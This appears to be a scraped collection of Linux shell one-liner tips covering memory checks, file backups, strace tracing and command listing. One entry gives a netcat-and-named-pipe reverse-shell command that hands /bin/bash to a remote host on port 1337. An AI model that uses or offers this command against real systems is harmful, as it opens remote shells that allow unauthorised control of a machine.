Find out how much data is waiting to be written to disk

$ grep ^Dirty /proc/meminfo
Ever ask yourself “How much data would be lost if I pressed the reset button?”
Scary, isn’t it?

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by David Winterbottom (codeinthehol…

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save command output to image

$ ifconfig | convert label:@- ip.png

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by David Winterbottom (codeinthehole.com)

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What is the use of this switch ?

$ manswitch () { man $1 | less -p "^ +$2"; }
e.g.
manswitch grep -o
This will take you to the relevant part of the man page, so you can see the description of the switch underneath.

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execute a shell with netcat without -e

$ mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe
how to execute a shell on a server with a netcat binary which doesn’t support -e option

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List files accessed by a command

$ strace -ff -e trace=file my_command 2>&1 | perl -ne ‘s/^[^"]+"(([^\\"]|\\[\\"nt])*)".*/$1/ && print’
Can be run as a script `ftrace` if my_command is substrituted with “$@”
It is useful when running a command t…

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Short and elegant way to backup a single file before you change it.

$ cp httpd.conf{,.bk}
Remember to backup everything before changing it so you can restore all to normal.

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Find the most recently changed files (recursively)

$ find . -type f -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort

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mkdir & cd into it as single command

$ mkdir /home/foo/doc/bar && cd $_
The biggest advantage of this over the functions is that it is portable.

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Quick Tip: How to Add Syntax Highlighting to Any Project

In this lesson, we’ll use a JavaScript based syntax highlighter to quickly add a syntax highlighting functionality to any web project, even on a simple HTML page!

Step 1 — Download the Source Code
You can download the synt…

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Save the list of all available commands in your box to a file

$ compgen -c | sort -u > commands
When you press TAB twice in your prompt, bash tells you something like
“Display all 4567 possibilities? (y or n)”
But when you press “y” you only get the list in the terminal output and, if you want to save it to …

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